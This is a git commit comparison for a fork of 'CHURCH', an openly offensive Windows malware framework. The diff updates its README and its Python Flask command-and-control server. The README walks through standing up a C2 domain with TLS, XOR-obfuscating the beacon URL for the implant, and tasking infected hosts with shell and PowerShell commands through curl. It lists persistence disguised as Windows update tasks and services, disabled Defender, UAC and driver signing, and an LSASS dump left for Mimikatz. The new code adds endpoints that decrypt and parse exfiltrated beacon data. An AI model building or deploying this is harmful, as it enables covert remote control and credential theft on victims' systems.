forked from ek0mssavi0r/CHURCH
Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0fdc248d10 | |||
| 6c1fc3c56a |
@@ -1,11 +1,10 @@
|
||||
|
||||
# Church - Weaponized Windows Security Bypass Framework
|
||||
|
||||
|
||||
```
|
||||
╔═══════════════════════════════════════════════════════════════════════════╗
|
||||
║ CHURCH OF MALWARE ║
|
||||
║ Enterprise Offensive Security Framework ║
|
||||
║ Church - Weaponized Windows Security Bypass Framework ║
|
||||
║ by ek0ms savi0r ║
|
||||
╚═══════════════════════════════════════════════════════════════════════════╝
|
||||
```
|
||||
@@ -103,6 +102,8 @@ CHAR g_aes_iv_obf[] = "\xB1\xB8\xB7..." // 16-byte AES IV
|
||||
|
||||
Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys.
|
||||
|
||||
**Important:** The `g_c2_server_obf` string must contain the full HTTPS URL of your C2 server, including the path `/beacon`. For example, if your domain is `c2.churchofmalware.org`, obfuscate `https://c2.churchofmalware.org/beacon` with XOR key `0xDD`.
|
||||
|
||||
---
|
||||
|
||||
## Custom Signed Driver Implementation
|
||||
@@ -116,8 +117,8 @@ Church includes a custom signed driver loader that eliminates reliance on public
|
||||
5. Falls back to gdrv.sys BYOVD if custom driver fails
|
||||
|
||||
To use your own signed driver:
|
||||
- Replace the g_customDriverBase64 placeholder with your base64-encoded driver
|
||||
- Ensure your driver implements CHURCH_IOCTL_DISABLE_DSE and CHURCH_IOCTL_EXECUTE_SHELLCODE
|
||||
- Replace the `g_customDriverBase64` placeholder with your base64-encoded driver
|
||||
- Ensure your driver implements `CHURCH_IOCTL_DISABLE_DSE` and `CHURCH_IOCTL_EXECUTE_SHELLCODE`
|
||||
- Sign the driver with a valid code-signing certificate
|
||||
|
||||
---
|
||||
@@ -133,63 +134,117 @@ The C2 server is fully hardened with the following security features:
|
||||
- Rate limiting on all API endpoints (10-30 requests per minute)
|
||||
- HttpOnly, Secure session cookies for web UI
|
||||
|
||||
Install dependencies:
|
||||
**New in v2.1: Built-in Beacon Parser & Lantern.js Graph Compatibility**
|
||||
|
||||
The C2 server now includes a dedicated parser that decrypts incoming beacon data and converts it into structured JSON, as well as a graph format compatible with the Lantern.js visualization frontend. This enables seamless integration with modern threat intelligence dashboards and real-time monitoring.
|
||||
|
||||
Parser endpoints provide:
|
||||
- **Decryption and parsing** of raw encrypted beacon data
|
||||
- **Graph conversion** for Lantern.js (nodes/edges/environments)
|
||||
- **Result parsing** with automatic audit logging
|
||||
|
||||
### Production Deployment with a Real Domain
|
||||
|
||||
In a real operation, you would deploy the C2 server on a public domain with a valid TLS certificate. The steps are:
|
||||
|
||||
1. **Obtain a domain** (e.g., `c2.churchofmalware.org`) and point its DNS to your server's IP.
|
||||
2. **Acquire a trusted SSL certificate** (e.g., from Let's Encrypt or a commercial CA) for that domain.
|
||||
3. **Configure the C2 server** to use that certificate and key.
|
||||
4. **Update the implant's obfuscated C2 string** to match your domain before compiling.
|
||||
|
||||
**Example (using Let's Encrypt):**
|
||||
|
||||
```bash
|
||||
# Install certbot and obtain certificate
|
||||
certbot certonly --standalone -d c2.churchofmalware.org
|
||||
|
||||
# The certificate and key will be in /etc/letsencrypt/live/c2.churchofmalware.org/
|
||||
# Copy them to your C2 directory and run:
|
||||
python church_c2_server.py --host 0.0.0.0 --port 443 --cert fullchain.pem --key privkey.pem
|
||||
```
|
||||
|
||||
**Obfuscating your C2 URL for the implant:**
|
||||
|
||||
Use the included XOR utility (or a Python one‑liner) to generate the obfuscated bytes for your domain:
|
||||
|
||||
```python
|
||||
XOR_KEY = 0xDD
|
||||
url = "https://c2.churchofmalware.org/beacon"
|
||||
obf = ''.join(f'\\x{(ord(c) ^ XOR_KEY):02X}' for c in url)
|
||||
print(obf)
|
||||
# Output: \x78\x9D\x9D... (use this to replace g_c2_server_obf)
|
||||
```
|
||||
|
||||
### Local Testing (Self‑Signed Certificate)
|
||||
|
||||
For testing purposes only, you can use a self‑signed certificate:
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
python church_c2_server.py --host 127.0.0.1 --port 8443 --cert cert.pem --key key.pem
|
||||
```
|
||||
|
||||
Then access `https://127.0.0.1:8443` (or `localhost`) and bypass the browser warning.
|
||||
|
||||
---
|
||||
|
||||
### Dependencies
|
||||
|
||||
```bash
|
||||
pip install flask flask-socketio cryptography werkzeug flask-limiter
|
||||
```
|
||||
|
||||
Generate SSL certificate:
|
||||
---
|
||||
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
```
|
||||
|
||||
Run the C2 server:
|
||||
|
||||
```bash
|
||||
python church_c2_server.py --host 0.0.0.0 --port 443 --cert cert.pem --key key.pem
|
||||
```
|
||||
|
||||
Configure admin credentials via environment variables or config file:
|
||||
|
||||
```bash
|
||||
export CHURCH_ADMIN_USER="admin"
|
||||
export CHURCH_ADMIN_HASH="$(python -c 'from werkzeug.security import generate_password_hash; print(generate_password_hash("yourpassword"))')"
|
||||
```
|
||||
|
||||
C2 API Endpoints:
|
||||
### C2 API Endpoints
|
||||
|
||||
```bash
|
||||
# List all beacons
|
||||
curl -H "X-Auth-Token: <JWT_SECRET>" https://localhost/api/beacons
|
||||
curl -H "X-Auth-Token: <JWT_SECRET>" https://your-c2-domain/api/beacons
|
||||
|
||||
# Execute command on beacon
|
||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "beacon_id", "command": "whoami"}' \
|
||||
https://localhost/api/task
|
||||
https://your-c2-domain/api/task
|
||||
|
||||
# Execute PowerShell command
|
||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \
|
||||
https://localhost/api/task
|
||||
https://your-c2-domain/api/task
|
||||
|
||||
# Get beacon details
|
||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
https://localhost/api/beacon/<beacon_id>
|
||||
https://your-c2-domain/api/beacon/<beacon_id>
|
||||
|
||||
# Get task history
|
||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
https://localhost/api/tasks/<beacon_id>
|
||||
https://your-c2-domain/api/tasks/<beacon_id>
|
||||
|
||||
# Get system statistics
|
||||
curl -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
https://localhost/api/stats
|
||||
https://your-c2-domain/api/stats
|
||||
|
||||
# --- NEW PARSER ENDPOINTS (v2.1) ---
|
||||
|
||||
# Parse raw beacon data and return both decrypted JSON and graph format
|
||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
-d "d=<encrypted_base64>" \
|
||||
https://your-c2-domain/api/beacon/parse
|
||||
|
||||
# Convert raw beacon data directly to js graph format
|
||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
-d "d=<encrypted_base64>" \
|
||||
https://your-c2-domain/api/beacon/graph
|
||||
|
||||
# Parse command result and log it as an audit event
|
||||
curl -X POST -H "X-Auth-Token: <JWT_SECRET>" \
|
||||
-d "d=<encrypted_result_base64>" \
|
||||
https://your-c2-domain/api/beacon/result/parse
|
||||
```
|
||||
|
||||
Web UI Access: https://c2-server:443
|
||||
Web UI Access: `https://your-c2-domain`
|
||||
|
||||
---
|
||||
|
||||
@@ -201,7 +256,7 @@ Run the compiled executable as Administrator:
|
||||
church.exe
|
||||
```
|
||||
|
||||
The tool auto-elevates if not already running with administrative privileges.
|
||||
The tool auto‑elevates if not already running with administrative privileges.
|
||||
|
||||
---
|
||||
|
||||
@@ -209,17 +264,17 @@ The tool auto-elevates if not already running with administrative privileges.
|
||||
|
||||
After Church executes and forces a system reboot, the following persistent mechanisms remain active:
|
||||
|
||||
1. Persistence Triggers:
|
||||
1. **Persistence Triggers:**
|
||||
- Scheduled task "WindowsUpdateTask" runs the Church binary at user login
|
||||
- Scheduled task "MicrosoftUpdateTask" runs daily at 09:00
|
||||
- WMI event subscription triggers on explorer.exe startup
|
||||
- Windows service "WindowsUpdateService" auto-starts
|
||||
- Windows service "WindowsUpdateService" auto‑starts
|
||||
- Registry Run key executes the binary at boot
|
||||
- BootExecute registry entry runs the binary during system initialization
|
||||
- IFEO Debugger for svchost.exe and explorer.exe triggers execution
|
||||
- Silent Process Exit Monitor relaunches the binary when svchost.exe exits
|
||||
|
||||
2. Disabled Protections (Persist Across Reboots):
|
||||
2. **Disabled Protections (Persist Across Reboots):**
|
||||
- Windows Defender service disabled (WinDefend)
|
||||
- Tamper Protection registry key set to 0
|
||||
- UAC disabled (EnableLUA = 0)
|
||||
@@ -228,17 +283,17 @@ After Church executes and forces a system reboot, the following persistent mecha
|
||||
- DSE remains disabled (kernel patched)
|
||||
- System Restore disabled
|
||||
|
||||
3. C2 Beacon:
|
||||
- The binary auto-starts via multiple persistence mechanisms
|
||||
3. **C2 Beacon:**
|
||||
- The binary auto‑starts via multiple persistence mechanisms
|
||||
- Beacon thread begins sending HTTPS requests to the configured C2 server
|
||||
- System information (computer name, user, OS, Defender status, AV products) is transmitted
|
||||
- The beacon waits for commands from the C2 server
|
||||
|
||||
4. Credential Access:
|
||||
4. **Credential Access:**
|
||||
- LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute
|
||||
- Can be extracted and processed with Mimikatz offline
|
||||
|
||||
5. Network Access:
|
||||
5. **Network Access:**
|
||||
- Firewall rules allow outbound HTTPS on port 443
|
||||
- Telemetry domains blocked in hosts file
|
||||
- DNS over HTTPS configured for stealth
|
||||
@@ -249,4 +304,4 @@ The target system remains fully compromised with remote access via the C2 channe
|
||||
|
||||
## Disclaimer
|
||||
|
||||
FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY.
|
||||
FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. The Church of Malware assumes no liability for misuse.
|
||||
+192
-4
@@ -103,13 +103,13 @@ app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
|
||||
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
|
||||
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
|
||||
|
||||
# Rate limiter
|
||||
# Rate limiter – fixed for flask-limiter >= 4.0
|
||||
limiter = Limiter(
|
||||
app,
|
||||
key_func=get_remote_address,
|
||||
default_limits=["200 per day", "50 per hour"],
|
||||
storage_uri="memory://"
|
||||
)
|
||||
limiter.init_app(app)
|
||||
|
||||
# SocketIO with strict CORS
|
||||
socketio = SocketIO(
|
||||
@@ -421,7 +421,8 @@ class BeaconManager:
|
||||
def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
|
||||
return self._beacons.get(beacon_id)
|
||||
|
||||
beacon_manager = BeaconManager()
|
||||
# instantiate beacon_manager later after DB init
|
||||
beacon_manager = None
|
||||
|
||||
# ==================== WEB UI TEMPLATES ====================
|
||||
HTML_TEMPLATE = '''
|
||||
@@ -945,6 +946,183 @@ def api_stats():
|
||||
"version": VERSION
|
||||
})
|
||||
|
||||
# ==================== C2 PARSER (NEW) ====================
|
||||
class LanternCompatibilityParser:
|
||||
"""
|
||||
Bridges CHURCH C2 format to Lantern.js graph format.
|
||||
Converts beacon data to graph nodes/edges for visualization.
|
||||
"""
|
||||
@staticmethod
|
||||
def beacon_to_graph(beacon_data: dict) -> dict:
|
||||
"""Convert beacon data to Lantern.js graph format"""
|
||||
nodes = []
|
||||
edges = []
|
||||
environments = {}
|
||||
|
||||
# Extract environment info
|
||||
env_id = f"env_{beacon_data.get('computer', '').lower()}"
|
||||
hostname = beacon_data.get('computer', 'unknown')
|
||||
|
||||
# Build environment node
|
||||
env_node = {
|
||||
"id": env_id,
|
||||
"type": "environment",
|
||||
"label": hostname,
|
||||
"info": {
|
||||
"hostname": hostname,
|
||||
"username": beacon_data.get('user', ''),
|
||||
"os": beacon_data.get('os', 'Unknown'),
|
||||
"admin": beacon_data.get('admin', False),
|
||||
"pid": beacon_data.get('pid', 0),
|
||||
"defender_status": beacon_data.get('defender', 2),
|
||||
"source": "c2",
|
||||
"has_nmap": False,
|
||||
"enabled": True,
|
||||
},
|
||||
"status": "online" if beacon_data.get('last_seen') else "stale",
|
||||
"default_tags": [hostname, beacon_data.get('user', '')]
|
||||
}
|
||||
nodes.append(env_node)
|
||||
|
||||
# Store in environments dict for the graph
|
||||
environments[env_id] = {
|
||||
"hostname": hostname,
|
||||
"source": "c2",
|
||||
"data": {
|
||||
"health": {
|
||||
"hostname": hostname,
|
||||
"os": beacon_data.get('os', 'Unknown'),
|
||||
"username": beacon_data.get('user', ''),
|
||||
"process_count": 1,
|
||||
}
|
||||
},
|
||||
"scan": {
|
||||
"metadata": {
|
||||
"total_processes": 1,
|
||||
"total_listeners": 0,
|
||||
},
|
||||
"nodes": []
|
||||
}
|
||||
}
|
||||
|
||||
# Add process nodes if available
|
||||
processes = beacon_data.get('processes', [])
|
||||
for proc in processes[:20]: # Limit for performance
|
||||
proc_id = f"{env_id}__proc_{proc.get('pid', 'unknown')}"
|
||||
proc_node = {
|
||||
"id": proc_id,
|
||||
"type": "process",
|
||||
"label": proc.get('name', 'unknown'),
|
||||
"info": {
|
||||
"pid": proc.get('pid'),
|
||||
"username": proc.get('user'),
|
||||
"cpu": proc.get('cpu'),
|
||||
"memory": proc.get('memory'),
|
||||
},
|
||||
"_envId": env_id
|
||||
}
|
||||
nodes.append(proc_node)
|
||||
edges.append({
|
||||
"source": env_id,
|
||||
"target": proc_id,
|
||||
"type": "ownership",
|
||||
"label": ""
|
||||
})
|
||||
|
||||
return {
|
||||
"nodes": nodes,
|
||||
"edges": edges,
|
||||
"environments": environments,
|
||||
"metadata": {
|
||||
"total_environments": 1,
|
||||
"timestamp": beacon_data.get('timestamp', '')
|
||||
}
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def result_to_event(result_data: dict) -> dict:
|
||||
"""Convert command result to audit event"""
|
||||
return {
|
||||
"event_type": "task_result",
|
||||
"category": "task",
|
||||
"detail": f"Task {result_data.get('task_id', '?')} completed",
|
||||
"timestamp": result_data.get('timestamp'),
|
||||
"source": "c2_beacon",
|
||||
"data": result_data
|
||||
}
|
||||
|
||||
# New parser routes
|
||||
@app.route('/api/beacon/parse', methods=['POST'])
|
||||
@limiter.limit("10 per minute")
|
||||
def parse_beacon():
|
||||
"""Parse raw beacon data without storing it."""
|
||||
data = request.form.get('d') or request.form.get('data')
|
||||
if not data:
|
||||
return jsonify({"error": "No data"}), 400
|
||||
|
||||
try:
|
||||
decrypted = CryptoManager.decrypt_aes(data)
|
||||
beacon_data = json.loads(decrypted.decode())
|
||||
except Exception as e:
|
||||
logging.error(f"Parse decrypt failed: {e}")
|
||||
return jsonify({"error": "Decryption failed"}), 400
|
||||
|
||||
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
|
||||
return jsonify({
|
||||
"beacon": beacon_data,
|
||||
"graph": graph_data
|
||||
})
|
||||
|
||||
@app.route('/api/beacon/graph', methods=['POST'])
|
||||
@limiter.limit("10 per minute")
|
||||
def beacon_to_graph():
|
||||
"""Direct endpoint to convert beacon to graph for Lantern.js."""
|
||||
data = request.form.get('d') or request.form.get('data')
|
||||
if not data:
|
||||
return jsonify({"error": "No data"}), 400
|
||||
|
||||
try:
|
||||
decrypted = CryptoManager.decrypt_aes(data)
|
||||
beacon_data = json.loads(decrypted.decode())
|
||||
except Exception as e:
|
||||
logging.error(f"Graph decrypt failed: {e}")
|
||||
return jsonify({"error": "Decryption failed"}), 400
|
||||
|
||||
graph_data = LanternCompatibilityParser.beacon_to_graph(beacon_data)
|
||||
return jsonify(graph_data)
|
||||
|
||||
@app.route('/api/beacon/result/parse', methods=['POST'])
|
||||
@limiter.limit("10 per minute")
|
||||
def parse_result():
|
||||
"""Parse command result output."""
|
||||
data = request.form.get('d') or request.form.get('data')
|
||||
if not data:
|
||||
return jsonify({"error": "No data"}), 400
|
||||
|
||||
try:
|
||||
decrypted = CryptoManager.decrypt_aes(data)
|
||||
result_data = json.loads(decrypted.decode())
|
||||
except Exception as e:
|
||||
logging.error(f"Result parse decrypt failed: {e}")
|
||||
return jsonify({"error": "Decryption failed"}), 400
|
||||
|
||||
event = LanternCompatibilityParser.result_to_event(result_data)
|
||||
|
||||
# Store in audit log
|
||||
conn = sqlite3.connect(DATABASE_PATH)
|
||||
c = conn.cursor()
|
||||
c.execute(
|
||||
"INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
|
||||
("system", event['detail'], str(result_data.get('task_id', '0')), time.time(), request.remote_addr)
|
||||
)
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
return jsonify({
|
||||
"result": result_data,
|
||||
"event": event
|
||||
})
|
||||
|
||||
# ==================== WEBSOCKET EVENTS ====================
|
||||
@socketio.on('connect')
|
||||
def handle_connect():
|
||||
@@ -995,6 +1173,8 @@ def cleanup_old_beacons():
|
||||
|
||||
# ==================== MAIN ====================
|
||||
def main():
|
||||
global beacon_manager
|
||||
|
||||
parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
|
||||
parser.add_argument('--host', default='0.0.0.0', help='Bind address')
|
||||
parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
|
||||
@@ -1002,8 +1182,12 @@ def main():
|
||||
parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
|
||||
args = parser.parse_args()
|
||||
|
||||
# Initialize
|
||||
# Initialize database FIRST
|
||||
init_database()
|
||||
|
||||
# Now instantiate beacon manager (tables exist)
|
||||
beacon_manager = BeaconManager()
|
||||
|
||||
os.makedirs(DOWNLOAD_PATH, exist_ok=True)
|
||||
os.makedirs(PLUGIN_PATH, exist_ok=True)
|
||||
|
||||
@@ -1022,6 +1206,10 @@ def main():
|
||||
print(f"[*] Web UI: https://{args.host}:{args.port}")
|
||||
print(f"[*] API Key (for external tools): {JWT_SECRET}")
|
||||
print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
|
||||
print("[*] Parser endpoints added:")
|
||||
print(" POST /api/beacon/parse - Parse raw beacon to JSON + graph")
|
||||
print(" POST /api/beacon/graph - Convert to Lantern.js graph format")
|
||||
print(" POST /api/beacon/result/parse - Parse command results")
|
||||
|
||||
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user